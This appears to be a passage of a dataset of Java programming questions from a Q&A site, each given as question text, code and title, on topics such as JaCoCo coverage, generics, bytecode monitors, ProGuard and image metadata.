. But I do n't understand how do I run the tool with coverage package ? Which coverage package should I use ? Is it Eclemma or Jacoco ? How do I run the tool with the coverage package ? Should I add it into the build.xml file ? Should I add it to the command line ? I 'm a bit confused about the whole idea of coverage in Java . In dynamic langues such as Python and Perl , I just execute the code with the coverage module , which creates the coverage report.The command we use to execute out tool : Should I add some options ? The build in build.xml : Should I add the following command ? Update : Thanks to the two answer I have managed to create the report using the CLI . But it looks like it shows ( almost ) zero coverage . It shows red ( uncovered ) on printed lines that I see that have been executed ( they were printed to the stdout ) .The project contains a lot of packages but for first try I 'm trying to create coverage report for a specific package . I ran : and then I ran : The output : I have trouble understanding how classfiles and sourcefiles . The file that I 'm trying to get coverage on is Application . In the bin I have in some inner folder Application.class and in src I have in some inner folder Application.java . I even tried to add full path for the those files in classfiles and sourcefiles but still do n't have coverage ( all red ) . What could be the problem ? The structure of the tool : The root contains alot of packages and each one has folder bin and src . Each src contains folders recursively with Java files . The bin has the same structure for class files .","gandu -vm /usr/pkgs/java/1.6.0.25-64/bin/java -configuration /.ganduData -data /.ganduData -configuration /ganduInternalConfig -- session_id 1582722179 < target name= '' pde-build '' depends= '' clean , init '' > < java classname= '' org.eclipse.equinox.launcher.Main '' fork= '' true '' failonerror= '' true '' > < arg value= '' -application '' / > < arg value= '' org.eclipse.ant.core.antRunner '' / > < arg value= '' -buildfile '' / > < arg value= '' $ { eclipseLocation } /plugins/org.eclipse.pde.build_ $ { pdeBuildPluginVersion } /scripts/productBuild/productBuild.xml '' / > < arg value= '' -Dtimestamp= $ { timestamp } '' / > < classpath > < pathelement location= '' $ { eclipseLocation } /plugins/org.eclipse.equinox.launcher_ $ { equinoxLauncherPluginVersion } .jar '' / > < /classpath > < /java > < /target > < arg value= '' -autVMArgs '' / > < arg value= '' -Xmx800m ; -XX : MaxPermSize=600M ; -javaagent : $ { jacoco-agent-path } =destfile= $ { jacoco-report } , append=true '' / > gandu -vm /usr/pkgs/java/1.6.0.25-64/bin/java -configuration /.ganduData -data /.ganduData -- session_id 1583967465 -vmargs -Xmx256m -Xms128m -javaagent : /jacoco_coverage/jacoco-0.8.5/lib/jacocoagent.jar /usr/pkgs/java/1.6.0.16-64/bin/java -jar /jacoco_coverage/jacoco-0.8.5/lib/jacococli.jar report jacoco.exec -- classfiles /gandu_repo/com.core.gandu/bin/ -- html temp_dir -- sourcefiles /gandu_repo/com.core.gandu/src/ [ WARN ] Some classes do not match with execution data . [ WARN ] For report generation the same class files must be used as at runtime . [ WARN ] Execution data for class < PATH > does not match . [ INFO ] Analyzing 8 classes .",How to properly run Eclemma coverage with Java +Java,I was reading the JVM specification to try to figure out how to properly handle monitors . The example they give in the relevant section looks like this : I can not figure out why the second exception table entry is needed . If an exception is thrown by monitorexit do I really want to attempt to exit the monitor again ? Possible exceptions thrown as far as I can tell are NullPointerException and IllegalMonitorStateException .,"0 aload_1 // Push f1 dup // Duplicate it on the stack2 astore_2 // Store duplicate in local variable 23 monitorenter // Enter the monitor associated with f4 aload_0 // Holding the monitor , pass this and ... 5 invokevirtual # 5 // ... call Example.doSomething ( ) V8 aload_2 // Push local variable 2 ( f ) 9 monitorexit // Exit the monitor associated with f10 goto 18 // Complete the method normally13 astore_3 // In case of any throw , end up here14 aload_2 // Push local variable 2 ( f ) 15 monitorexit // Be sure to exit the monitor ! 16 aload_3 // Push thrown value ... 17 athrow // ... and rethrow value to the invoker18 return // Return in the normal caseException table : From To Target Type4 10 13 any13 16 13 any",How do I exit a monitor in bytecode properly ? +Java,"If I am using a for loop ( the standard for loop , not an enhanced for statement ) , I fail to see how an iterator increases efficiency when searching through a collection . If I have a statement such as : ( Assuming that aList is a List of generic objects , type E , nextElement refers to the next element within the list ) and I have the get method that looks something like : this would essentially be searching through the List , one element at a time . However , if I use an iterator , will it not be doing the same operation ? I know an iterator is supposed to be O ( 1 ) speed , but would n't it be O ( n ) if it has to search through the entire list anyway ?",for ( int index = 0 ; index < aList.size ( ) ; index++ ) { E nextElement = aList.get ( index ) ; // do something with nextElement ... } Node < E > nodeRef = head ; for ( int i = 0 ; i < index ; i++ ) { nodeRef = nodeRef.next ; // possible other code },Seeking further understanding on Iterators in java +Java,"I was reading the book Java Generics and Collections By Maurice Naftalin , Philip Wadler , and within the first two chapters I ended up in having my head messed up with doubts . I was not able to figure out the answers.In the call : During call to the function 'copy':1st parameter : ? = Object2nd Parameter : ? =IntegerBut what is the datatype of T ? How is it decided by jvm based on the erasure implementation ? It is said in the book that : In the line Collections.copy ( obj , ints ) , the type parameter T is taken to be Number . The call is permitted because objs has type List < Object > , which is a subtype of List < ? super Number > ( since Object is a supertype of Number , as required by the super ) and ints has type List < Integer > , which is a subtype of List < ? extends Number > ( since Integer is a subtype of Number , as required by the extends wildcard ) . But as Integer implements Serializable and Comparable both , aprt from extending Number class and Object class is the super type of Serializable and Comparable also.So why not that T is taken as Serializable or Comparable instead of Number , because the Substitution Principle will allow it to be taken.Thanks in advance .","public static < T > void copy ( List < ? super T > dst , List < ? extends T > src ) { for ( int i = 0 ; i < src.size ( ) ; i++ ) { dst.set ( i , src.get ( i ) ) ; } } List < Object > objs = Arrays. < Object > asList ( 2 , 3.14 , `` four '' ) ; List < Integer > ints = Arrays.asList ( 5 , 6 ) ; Collections.copy ( objs , ints ) ; assert objs.toString ( ) .equals ( `` [ 5 , 6 , four ] '' ) ;",How is the datatype of type parameter decided in covariance and contravariance ? +Java,"I can make a executable jar file with Eclipse . Let 's say it is called ast.jar , and the Main class is ASTExplorer . I can verify that this works with java -jar ast.jar . Then , I unzip the jar file in a separate directory and verify that the ASTExplorer is in astexplorer directory . But when I executed this command java -cp . astexplorer.ASTExplorer I get this error.The thing is that there is no org/eclipse/swt directory in the jar file . What 's the magic behind the executable jar file ? Why does n't it run when unzipped ?",java -cp . astexplorer/ASTExplorerException in thread `` main '' java.lang.NoClassDefFoundError : org/eclipse/swt/widgets/Compositeat java.lang.ClassLoader.defineClass1 ( Native Method ) at java.lang.ClassLoader.defineClassCond ( ClassLoader.java:631 ) at java.lang.ClassLoader.defineClass ( ClassLoader.java:615 ),The magic behind the eclipse generated executable jar file +Java,"In C++ , this expression will compile , and when ran , will print test : but in Java , this will not compile : and instead parentheses are needed : but test will not print since 1 > = 0 is true , and NOT true is false.So why does it compile AND print out test in C++ , even though the statement is false , but not in Java ? Thanks for your help .",if ( ! 1 > = 0 ) cout < < `` test '' ; if ( ! 1 > = 0 ) System.out.println ( `` test '' ) ; if ( ! ( 1 > =0 ) ) System.out.println ( `` test '' ) ;,Why does this boolean compile in C++ and not in Java ? +Java,I am drafting email in custom folder.I came to know that extended property will be helpful for classification/permission header . Ref link - https : //docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-provision-x-headers-by-using-ews-in-exchangeBut how to set classification/permission ? X-Classification-Restricted something like this or any other way ? I dont want to use setImportance / setSensitivity methods.Manually we are setting in following way Expectation from ews api to set classification/permission from codeHow to set permission/classification ( public/Restricted/Internal ) to EmailMessage using ews java api ? Code snippet of working example appreciated.Thanks in advance,"EmailMessage msg= new EmailMessage ( service ) ; msg.setSubject ( `` Hello world ! `` ) ; msg.setBody ( MessageBody.getMessageBodyFromText ( `` Draft email using the EWS Java API . `` ) ) ; msg.getToRecipients ( ) .add ( `` someone @ contoso.com '' ) ; // Tried to set extended property but not workedExtendedPropertyDefinition headerProperty = new ExtendedPropertyDefinition ( DefaultExtendedPropertySet.InternetHeaders , `` X-Classification '' , MapiPropertyType.String ) ; msg.setExtendedProperty ( headerProperty , '' Provision X-header Internet message header '' ) ; msg.save ( CUSTOM_FOLDER_ID ) ;",ews java api - How to set permission/classification ( public/restricted/internal ) to Email message +Java,"I decided to implement the Abstract List < Node > . here is a piece of it : but when I try to add a node , it gives me the following exception : is this because of the Node root = null ; which makes to add a node to a null node ? then how can be fixed",import org.w3c.dom.Node ; import org.w3c.dom.NodeList ; public class myNodeList implements NodeList { Node root = null ; int length = 0 ; public myNodeList ( ) { } public void addNode ( Node node ) { if ( root == null ) { root = node ; } else root.appendChild ( node ) ; length++ ; System.out.println ( `` this is the added node `` +node ) ; } } Exception in thread `` main '' org.w3c.dom.DOMException : HIERARCHY_REQUEST_ERR : An attempt was made to insert a node where it is not permitted . at com.sun.org.apache.xerces.internal.dom.NodeImpl.insertBefore ( NodeImpl.java:478 ) at com.sun.org.apache.xerces.internal.dom.NodeImpl.appendChild ( NodeImpl.java:235 ) at pageparsertest.myNodeList.addNode ( myNodeList.java:27 ),Implementing the List < Node > +Java,"Assume I have structure : Is there some nifty proguard trick that would allow me to recursively keep all classes that are used by my class A ? So also all classes that are referenced internally by B , C and Clazz ?",import some.other.Clazz ; public class A { Clazz clazz ; B b ; public class B { C c ; // ... } public static class C { // ... } },"Proguard , keep all referenced classes" +Java,When I write a class Widget.javawill the compiler-generated constructor be public or default ? public would be likewhereas default similar to,public class Widget { int data ; String name ; } public class Widget { int data ; String name ; public Widget ( ) { } } public class Widget { int data ; String name ; Widget ( ) { } },Will the compiler-generated default constructor be public ? +Java,"I have been working on this artificial intelligence method for a while . It basically has an int for each direction the enemy could go if a wall were blocking his path to the player . This does n't work in most cases . Sometimes the enemy will go through cracks it ca n't fit through . Other times it will be stuck on walls that have obvious gaps in them . I will attach my code , but if it looks too inefficient or just not the way to solve it I 'm not opposed to changing my approach altogether . I just would like to know how these things are done normally , so that I can implement it in a better ( and working ! ) way.My code :","public void update ( ArrayList < Wall > walls , Player p ) { findPlayer ( p.getX ( ) , p.getY ( ) ) ; boolean isCollision = false ; System.out.println ( isCollision ) ; //if movement straight towards the player is blocked , move along the walls for ( Wall w : walls ) { if ( Helper.isBoundingBoxCollision ( ( int ) ( x + vectorToPlayer.getDX ( ) * SPEED ) , ( int ) ( y + vectorToPlayer.getDY ( ) * SPEED ) , width , height , w.getX ( ) , w.getY ( ) , w.width , w.height ) ) { isCollision = true ; if ( Math.abs ( vectorToPlayer.getDX ( ) ) > Math.abs ( vectorToPlayer.getDY ( ) ) ) { if ( vectorToPlayer.getDX ( ) > 0 ) WALL_COLLISION = 3 ; else WALL_COLLISION = 1 ; } else if ( Math.abs ( vectorToPlayer.getDX ( ) ) < Math.abs ( vectorToPlayer.getDY ( ) ) ) { if ( vectorToPlayer.getDY ( ) > 0 ) WALL_COLLISION = 0 ; else WALL_COLLISION = 2 ; } } } //System.out.println ( isCollision ) ; //set the direction to the straight on vector , to be reset if there is a collision on this path direction = vectorToPlayer ; if ( isCollision ) { //reset the variable , do n't mind that what this is named is completely opposite = PIMPIN ' isCollision = false ; //scale dem walls son , and see when the path is clear for ( Wall w : walls ) { if ( WALL_COLLISION == 0 & & ! Helper.isBoundingBoxCollision ( x + SPEED , y , width , height , w.getX ( ) , w.getY ( ) , w.width , w.height ) ) { WALL_COLLISION = 3 ; isCollision = true ; } else if ( WALL_COLLISION == 1 & & ! Helper.isBoundingBoxCollision ( x , y + SPEED , width , height , w.getX ( ) , w.getY ( ) , w.width , w.height ) ) { WALL_COLLISION -- ; isCollision = true ; } else if ( WALL_COLLISION == 2 & & ! Helper.isBoundingBoxCollision ( x - SPEED , y , width , height , w.getX ( ) , w.getY ( ) , w.width , w.height ) ) { WALL_COLLISION -- ; isCollision = true ; } else if ( WALL_COLLISION == 3 & & ! Helper.isBoundingBoxCollision ( x , y - SPEED , width , height , w.getX ( ) , w.getY ( ) , w.width , w.height ) ) { WALL_COLLISION -- ; isCollision = true ; } } //if there is NOT a wall on the designated side , set the vector accoridingly if ( isCollision ) { if ( WALL_COLLISION == 0 ) direction = new NVector ( 0 , 1 ) ; else if ( WALL_COLLISION == 1 ) direction = new NVector ( 1 , 0 ) ; else if ( WALL_COLLISION == 2 ) direction = new NVector ( 0 , -1 ) ; else if ( WALL_COLLISION == 3 ) direction = new NVector ( -1 , 0 ) ; } } x += Math.round ( direction.getDX ( ) *SPEED ) ; y += Math.round ( direction.getDY ( ) *SPEED ) ; }",Game programming ai : scaling walls to find a player ? +Java,"I am getting the following ( confusing ) warning when using annotation-based null analysis where an array is involved : Null type safety ( type annotations ) : The expression of type 'int [ ] ' needs unchecked conversion to conform to 'int @ Nullable [ ] 'This occurs when I pass an unannotated int [ ] to an int @ Nullable [ ] parameter.This is surprising . Normally it is only a problem if you take a nullable value and try to pass it to a nonnull parameter , but I am doing the opposite - taking a known non-null ( though not annotated ) array and passing it to a method ( Arrays.equals ) which does accept nulls.Also it does not seem to be a problem with non-array objects . Normally a variable or return of ( unannotated , non-array ) type T can be assigned to a @ Nullable T.So my question is why does this change when T is an array type ? My class is a hashable/equality-comparable proxy for a native class that uses an int [ ] ( taken from a C++ function ) as a unique identifier . My package uses annotation-based null analysis and the 3rd-party package ( with the native class ) does not.Here 's a cut-down version that shows the problem : TagKey.java : package-info.java : Tag.java : ( partial ) The workaround I am currently using : I would prefer to avoid these approaches : Adding @ SuppressWarnings ( `` null '' ) to TagKey or its equals method ( The production version is somewhat more complex and has a high risk of embarrassing NPEs . ) Notes : My JDT version is 3.10.0.v20140606-1215Earlier I made the mistake of declaring @ Nullable int [ ] id . Surprisingly there was no warning message for this , even though it implies that the primitive int elements may be null which is clearly wrong .","package example ; import java.util.Arrays ; import org.eclipse.jdt.annotation.NonNull ; import org.eclipse.jdt.annotation.Nullable ; import other.Tag ; import com.google.common.collect.Interner ; import com.google.common.collect.Interners ; public class TagKey { private TagKey ( Tag tag ) { this.tag = tag ; } public static TagKey forTag ( Tag tag ) { TagKey candidateKey = new TagKey ( tag ) ; return INTERNER.intern ( candidateKey ) ; } @ Override public int hashCode ( ) { return Arrays.hashCode ( this.tag.getUniqueIdentifier ( ) ) ; } @ Override public boolean equals ( @ Nullable Object obj ) { if ( this == obj ) { return true ; } else if ( obj == null ) { return false ; } else if ( getClass ( ) ! = obj.getClass ( ) ) { return false ; } else { return ( ( TagKey ) obj ) .hasMatchingIdentifier ( this.tag.getUniqueIdentifier ( ) ) ; // Warning appears here } } public boolean hasMatchingIdentifier ( int @ Nullable [ ] id ) { return Arrays.equals ( this.tag.getUniqueIdentifier ( ) , id ) ; } @ SuppressWarnings ( `` null '' ) // Guava can not use type parameter annotations due to backward compatibility with Java 6 private static final Interner < TagKey > INTERNER = Interners.newWeakInterner ( ) ; private final Tag tag ; } /** * @ author finnw * */ @ org.eclipse.jdt.annotation.NonNullByDefaultpackage example ; package other ; public class Tag { public native int [ ] getUniqueIdentifier ( ) ; // Currently returns a fresh array on each call , but may change in the near future to reuse a single array } public boolean hasMatchingIdentifier ( @ Nullable Object id ) { return id instanceof int [ ] & & Arrays.equals ( this.tag.getUniqueIdentifier ( ) , ( int [ ] ) id ) ; }",Annotation-based null analysis - warning appears only with array parameter +Java,"Looking at the methods of the Array class on libgdx . I found this method : I had never seen that `` T ... '' before , and it turns out that it 's incredibly hard to search for `` T ... '' either on Google or here on Stack Overflow . I think I understand generics , but the `` ... '' is new to me.What does that mean ? So , for example , if T is String , then how would I use this method ? Why would I use it ? And how would that be different from using `` T [ ] '' instead ?","public void addAll ( T ... array ) { addAll ( array , 0 , array.length ) ; }",What is `` T ... '' on Java ? +Java,"Link to the problem can be found here Problem Statement Burger Town is a city that consists of N special junctions and N−1 pathways . There is exactly one shortest path between each pair of junctions . Junction i is located at ( xi , yi ) and the distance between two junctions i , j is defined by the Taxicab geometry . Tim has recently afforded a taxicab to work as a taxicab driver . His vehicle was very cheap , but has a very big flaw . It can only drive H units horizontally and V units vertically before refueling . If a customer wants to be brought from a junction i to another junction j , then this car is only capable of driving the route , iff the sum of horizontal distances and the sum of vertical distances on this path are less than or equal to H and V respectively . Also , there is a unique path between any two junctions . Now he has thoughts about returning the vehicle back to the seller . But he first wants to know , if it 's even worth it . That 's why he wants to know the number of unordered pairs ( i , j ) such that it is not possible to drive a customer from junction i to junction j . Constraints 2 ≤ N ≤ 10^5 0 ≤ H , V ≤ 10^14 0 ≤ xi , yi ≤ 10^9I have solved this problem with recursion . But on some of the test cases , my code is timing out.I have also tried with an implementation of Dijkstras , but no luck there either.Any suggestions as to how to achieve a speedier solution would really be appreciated .","import java.io . * ; import java.util . * ; import java.text . * ; import java.math . * ; public class Solution { public static void main ( String [ ] args ) { Scanner in = new Scanner ( System.in ) ; int N = in.nextInt ( ) ; long H = in.nextLong ( ) ; long V = in.nextLong ( ) ; List < Vertex > vertex = new ArrayList < > ( ) ; for ( int i=0 ; i < N ; i++ ) { Vertex vx = new Vertex ( in.nextLong ( ) , in.nextLong ( ) ) ; vertex.add ( vx ) ; } for ( int i=0 ; i < N-1 ; i++ ) { int fromPath = in.nextInt ( ) -1 ; int toPath = in.nextInt ( ) -1 ; vertex.get ( fromPath ) .neighbours.add ( vertex.get ( toPath ) ) ; vertex.get ( toPath ) .neighbours.add ( vertex.get ( fromPath ) ) ; } long count = 0 ; for ( int i=0 ; i < N ; i++ ) { count += ( N - findUnorderedPairs ( vertex.get ( i ) , null , 0 , 0 , H , V ) ) ; } System.out.println ( count/2 ) ; int temp = 0 ; } private static long findUnorderedPairs ( Vertex vertex , Vertex previousVertex , long hor , long vert , long H , long V ) { if ( hor > H || vert > V ) { return 0 ; } long result = 1 ; for ( Vertex v : vertex.neighbours ) { result += ( v ! = previousVertex ) ? findUnorderedPairs ( v , vertex , hor + Math.abs ( vertex.x - v.x ) , vert + Math.abs ( vertex.y - v.y ) , H , V ) : 0 ; } return result ; } private static class Vertex { private long x ; private long y ; public ArrayList < Vertex > neighbours ; public Vertex ( long x , long y ) { this.x = x ; this.y = y ; neighbours = new ArrayList < > ( ) ; } } }",Count the number of unordered pairs in an un-directed graph +Java,"In my Android project , I define a few callbacks to operate on button clicks , connectivity events , or UI events such as Dilaog.onShow ( ) . For demo purposes , I have chosen a Runnable interface that must be launched from some Activity code . With Java , I have different ways to express myself.One pattern would be to use anonymous classanother - to define an internal private class , i.e . yet another - to use a private member , like this : Here is another , which I like best , because on one hand it does not actually construct objects unless someone really uses it , because it avoids extra classes , because it can take parameters if needed.I am not looking for the arguments of taste or religious belief , but of code maintainability and performance . I would like to receive hints and advices that could help me develop my own preference , possibly - different preferences according to the given circumstance.Spoiler : Progress of Java has rendered this question obsolete , see the accepted answer .",runOnUiThread ( new Runnable ( ) { public void run ( ) { doSomething ( ) ; } } ) ; private void doSomething ( ) { } private DoSomething implements Runnable { public void run ( ) { // do something ; } } ... runOnUiThread ( new DoSomething ( ) ) ; private final Runnable doSomething = new Runnable ( ) { public void run ( ) { // do something ; } } ... runOnUiThread ( doSomething ) ; private Runnable doSomething ( ) { return new Runnable ( ) { public void run ( ) { // do something ; } } } ... runOnUiThread ( doSomething ( ) ) ;,What is the preferred way to organize callbacks ? +Java,"I am adding text to an image using this code in Android : Then I create a new File with the transformed bitmapI send the file to my server , I receive an input stream , I create a File , I scale it and I create a new File with the scaled image : I get an IIOException : if I do n't call drawTextToBitmap ( ) from android I do n't get that error.If someone can help me ... thxEDIT : here is the way I use to get metadata from my fileEdit 2 : Using jpegParams.setOptimizeHuffmanTables ( true ) ; works but it resets all metadata and I want to keep them like gps location ...","public Bitmap drawTextToBitmap ( Context gContext , Bitmap image , String gText ) { Resources resources = gContext.getResources ( ) ; float scale = resources.getDisplayMetrics ( ) .density ; android.graphics.Bitmap.Config bitmapConfig = image.getConfig ( ) ; // set default bitmap config if none if ( bitmapConfig == null ) { bitmapConfig = android.graphics.Bitmap.Config.ARGB_8888 ; } // resource bitmaps are imutable , // so we need to convert it to mutable one Bitmap bitmap = null ; try { bitmap = image.copy ( bitmapConfig , true ) ; image.recycle ( ) ; Canvas canvas = new Canvas ( bitmap ) ; // new antialised Paint Paint paint = new Paint ( Paint.ANTI_ALIAS_FLAG ) ; // text color - # 3D3D3D paint.setColor ( Color.WHITE ) ; // text size in pixels paint.setTextSize ( ( int ) ( 50 * scale ) ) ; // text shadow paint.setShadowLayer ( 1f , 0f , 1f , Color.BLACK ) ; // draw text to the Canvas center Rect bounds = new Rect ( ) ; paint.getTextBounds ( gText , 0 , gText.length ( ) , bounds ) ; int padding = bounds.height ( ) /2 ; int x = bitmap.getWidth ( ) - ( bounds.width ( ) +padding ) ; int y = ( bitmap.getHeight ( ) - ( bounds.height ( ) +padding ) ) ; canvas.drawText ( gText , x , y , paint ) ; } catch ( Throwable e ) { AppLog.e ( `` DrawingBitmap '' , '' error while adding timestamp '' , e ) ; } return bitmap ; } storeImage ( newBitmap , newFileName ) ; private File storeImage ( Bitmap image , String nameFile ) { File pictureFile = new File ( getExternalCacheDir ( ) , nameFile ) ; try { FileOutputStream fos = new FileOutputStream ( pictureFile ) ; image.compress ( Bitmap.CompressFormat.JPEG , 100 , fos ) ; fos.close ( ) ; } catch ( FileNotFoundException e ) { AppLog.e ( `` error creating bitmap '' , `` File not found : `` + e.getMessage ( ) ) ; } catch ( IOException e ) { AppLog.e ( `` error creating bitmap '' , `` Error accessing file : `` + e.getMessage ( ) ) ; } return pictureFile ; } ImageWriter.write ( metadata , new IIOImage ( image , null , metadata ) , param ) ; javax.imageio.IIOException : Missing Huffman code table entry at com.sun.imageio.plugins.jpeg.JPEGImageWriter.writeImage ( Native Method ) at com.sun.imageio.plugins.jpeg.JPEGImageWriter.writeOnThread ( JPEGImageWriter.java:1067 ) at com.sun.imageio.plugins.jpeg.JPEGImageWriter.write ( JPEGImageWriter.java:363 ) at com.twelvemonkeys.imageio.plugins.jpeg.JPEGImageWriter.write ( JPEGImageWriter.java:162 ) private static IIOMetadata readMetaData ( File source ) { try { ImageInputStream stream = ImageIO.createImageInputStream ( source ) ; Iterator < ImageReader > readers = ImageIO.getImageReaders ( stream ) ; IIOMetadata metadata = null ; if ( readers.hasNext ( ) ) { ImageReader reader = readers.next ( ) ; reader.setInput ( stream ) ; metadata = reader.getImageMetadata ( 0 ) ; } return metadata ; } catch ( Exception e ) { _logger.error ( e ) ; e.printStackTrace ( ) ; } return null ; }",javax.imageio.IIOException : Missing Huffman code table entry while Adding text to an jpg image +Java,"It appears the Java Memory Model does not define `` refreshing '' and `` flushing '' of the local cache , instead people only call it that way for simplicity , but actually the `` happens-before '' relationship implies refreshing and flushing somehow ( would be great if you can explain that , but not directly part of the question ) .This is getting me really confused combined with the fact that the section about the Java Memory Model in the JLS is not written in a way which makes it easy to understand.Therefore could you please tell me if the assumptions I made in the following code are correct and if it is therefore guaranteed to run correctly ? It is partially based on the code provided in the Wikipedia article on Double-checked locking , however there the author used a wrapper class ( FinalWrapper ) , but the reason for this is not entirely obvious to me . Maybe to support null values ? Also I have read that the constructor call can be inlined and reordered resulting in a reference to an uninitialized object ( see this comment on a blog ) . Is it then safe to directly assign the result of the supplier or does this have to be done in two steps ? Two steps : Edit : The title of this question is a little bit misleading , the goal was to have reduced usage of a volatile field . If the initialized value is already in the cache of a thread , then value is directly accessed without the need to look in the main memory again .","public class Memoized < T > { private T value ; private volatile boolean _volatile ; private final Supplier < T > supplier ; public Memoized ( Supplier < T > supplier ) { this.supplier = supplier ; } public T get ( ) { /* Apparently have to use local variable here , otherwise return might use older value * see https : //jeremymanson.blogspot.com/2008/12/benign-data-races-in-java.html */ T tempValue = value ; if ( tempValue == null ) { // Refresh if ( _volatile ) ; tempValue = value ; if ( tempValue == null ) { // Entering refreshes , or have to use ` if ( _volatile ) ` again ? synchronized ( this ) { tempValue = value ; if ( tempValue == null ) { value = tempValue = supplier.get ( ) ; } /* * Exit should flush changes * `` Flushing '' does not actually exists , maybe have to use * ` _volatile = true ` instead to establish happens-before ? */ } } } return tempValue ; } } value = tempValue = supplier.get ( ) ; tempValue = supplier.get ( ) ; // Reorder barrier , maybe not needed ? if ( _volatile ) ; value = tempValue ;",Lazy initialization / memoization without volatile +Java,"I am trying to calculate a date time difference but I 'm getting some strange results : Here is the source : When I set ccal to 1 31 2011 the date difference is 96 hours but when I set it to 2 1 2011the date difference is 48 hours . How can this be ? What is the remedy ? Thanks , Elliott","import java.util.Calendar ; import java.util.Collections ; import java.util.Vector ; public class Main { static Calendar dcal = Calendar.getInstance ( ) ; static Calendar ccal = Calendar.getInstance ( ) ; public static void main ( String [ ] args ) { dcal.set ( 2011 , 1 , 27 ) ; ccal.set ( 2011,2,1 ) ; long dtime = dcal.getTimeInMillis ( ) ; long ctime = ccal.getTimeInMillis ( ) ; long diff = ctime - dtime ; int hours = ( int ) ( diff / ( 1000 * 60 * 60 ) ) ; System.out.println ( `` hours- > '' +hours ) ; } }",java date difference puzzle +Java,"I 'm trying to clean up some warnings in some old Java code ( in Eclipse ) , and I 'm unsure what the proper thing to do is in this case . The block looks more or less like this : The List generates a warning as it is n't parameterized , however , if I parameterize it with < File > , which I 'm pretty sure is what it requires , it complains that it ca n't convert from Object to List < File > . I could merely suppress the unchecked warning for the function , but would prefer to avoid that if there is a `` good '' solution . Thoughts ?","Transferable content = getToolkit ( ) .getSystemClipboard ( ) .getContents ( null ) ; java.util.List clipboardFileList = null ; if ( content.isDataFlavorSupported ( DataFlavor.javaFileListFlavor ) ) { try { clipboardFileList = ( java.util.List ) content.getTransferData ( DataFlavor.javaFileListFlavor ) ; } /* Do other crap , etc . */ }",What is the proper way to resolve Eclipse warning `` is n't parameterized '' ? +Java,"I looked up the implementation of Double.isFinite ( ) which exists since java 8 ( because I needed the functionality in java 7 ) : where DoubleConsts.MAX_VALUE is double sun.misc.DoubleConsts.MAX_VALUE with the value 1.7976931348623157E308 . This seems to be equivalent to Double.MAX_VALUE , which is defined as : Why does this implementation use the constant from the sun.misc-package instead of Double.MAX_VALUE ? ( Float.isFinite uses the same pattern )",public static boolean isFinite ( double d ) { return Math.abs ( d ) < = DoubleConsts.MAX_VALUE ; } public static final double MAX_VALUE = 0x1.fffffffffffffP+1023 ; // 1.7976931348623157e+308,Double.isFinite implementation detail - why DoubleConsts.MAX_VALUE rather than Double.MAX_VALUE ? +Java,"I 'm working on a project that requires me to have a string representation of an array . The problem is having this duplicated code , that I 'm sure can be refactored in some way , but I have n't found one yet.Thanks in advance .","private static String printDoubleArray ( String title , double [ ] array ) { String result = title ; for ( double d : array ) { result += d + `` `` ; } return result ; } private static String printIntArray ( String title , int [ ] array ) { String result = title ; for ( int d : array ) { result += d + `` `` ; } return result ; }",Detect if an array contains integer or double +Java,"I throw a bunch of custom runtime exceptions in my code and I want to make sure that in all public methods , I document which runtime exception might be thrown ( by myself ) and why . This would be very hulpful since I 'm maintaining a library which is used by many projects and I want it to be upfront and predictable regarding thrown ( runtime ) exceptions.Is there a compiler option , maven plugin , Intellij plugin or custom tool that can help me find missed throws clauses ? With checked exceptions it 's easy , the compiler will just complain if I missed one , but for runtime exceptions both throws and @ throws are not enforced.One thing I thought of was to temporarily make all my own runtime exceptions checked exceptions ( they already share a super class ) , but that would be a one-off exercise . I would like to verify my code/documentation each time I make changes so I can never forget to document my runtime exceptions.Another way could be to actually have checked exceptions throughout the code and convert them to runtime only in the public api : This approach would force me to think about CheckedFooException in all public methods . Then to check if I missed documenting one ( ie . @ throws RuntimeFooException ) , I would simply do a regex search on catch . *CheckedFooException and check for missing @ throws entries . Rather unwieldy process though ( and there 's a lot of public api that would get peppered with try ... catch statements ) .Answer : There is some discussion about whether you should document ( your own thrown ) runtime exceptions at all ( the summary so far : it depends ) , but as far as a direct answer to my question , the accepted answer answers it adequately ; I can take that approach , implement my use case and even make a maven plugin with it , given some time and effort . I uploaded a cleaned up start project for this .","class Foo { // oops , throws not documented with @ throws public void publicMethod ( ) { try { privateMethod1 ( ) ; } catch ( CheckedFooException e ) { throw new RuntimeFooException ( e ) ; } } private void privateMethod1 ( ) throws CheckedFooException { privateMethod2 ( ) ; } private void privateMethod2 ( ) throws CheckedFooException { throw new CheckedFooException ( ) ; } }",How to verify that all own thrown runtime exceptions are covered in Javadoc ? +Java,"I 've got the following tiny Python method that is by far the performance hotspot ( according to my profiler , > 95 % of execution time is spent here ) in a much larger program : The code is being run in the Jython implementation of Python , not CPython , if that matters . seq is a DNA sequence string , on the order of 1,000 elements . logProbs is a list of dictionaries , one for each position . The goal is to find the maximum score of any length l ( on the order of 10-20 elements ) subsequence of seq.I realize all this looping is inefficient due to interpretation overhead and would be a heck of a lot faster in a statically compiled/JIT 'd language . However , I 'm not willing to switch languages . First , I need a JVM language for the libraries I 'm using , and this kind of constrains my choices . Secondly , I do n't want to translate this code wholesale into a lower-level JVM language . However , I 'm willing to rewrite this hotspot in something else if necessary , though I have no clue how to interface it or what the overhead would be.In addition to the single-threaded slowness of this method , I also ca n't get the program to scale much past 4 CPUs in terms of parallelization . Given that it spends almost all its time in the 10-line hotspot I 've posted , I ca n't figure out what the bottleneck could be here .","def topScore ( self , seq ) : ret = -1e9999 logProbs = self.logProbs # save indirection l = len ( logProbs ) for i in xrange ( len ( seq ) - l + 1 ) : score = 0.0 for j in xrange ( l ) : score += logProbs [ j ] [ seq [ j + i ] ] ret = max ( ret , score ) return ret",How to speed up this Python code ? +Java,"I am using the TextToSpeak feature in my android app and realized its taking up some delay before speaking out the actual word . As you can see I am then calling the performAction method immediately after using TTS .speak ( ) method , but the 3 second delay causes some inaccuracy.How can I trigger the performAction method to be called immediately the word is spoken out .","onCreate ( ) { textToSpeech = new TextToSpeech ( getApplicationContext ( ) , new TextToSpeech.OnInitListener ( ) { @ Override public void onInit ( int status ) { if ( status ! = TextToSpeech.ERROR ) { textToSpeech.setLanguage ( Locale.UK ) ; } } } ) ; textToSpeech.speak ( `` Hello World '' , TextToSpeech.QUEUE_FLUSH , null , null ) ; performAction ( ) ; } performAction ( ) { … }",Text To Speech ( TTS ) delays by 3 seconds to speak text +Java,"1 : I have a dictionary with a string as key and a class as value , this contains a list of `` entities '' i have in my game.2 : Here 's an example hierarchy.-Entity contains a method called `` public void Input ( String args ) '' , which can be redefined in the other entities.-When i call Input ( `` x '' ) on NpcSomething it should do a super ( arg 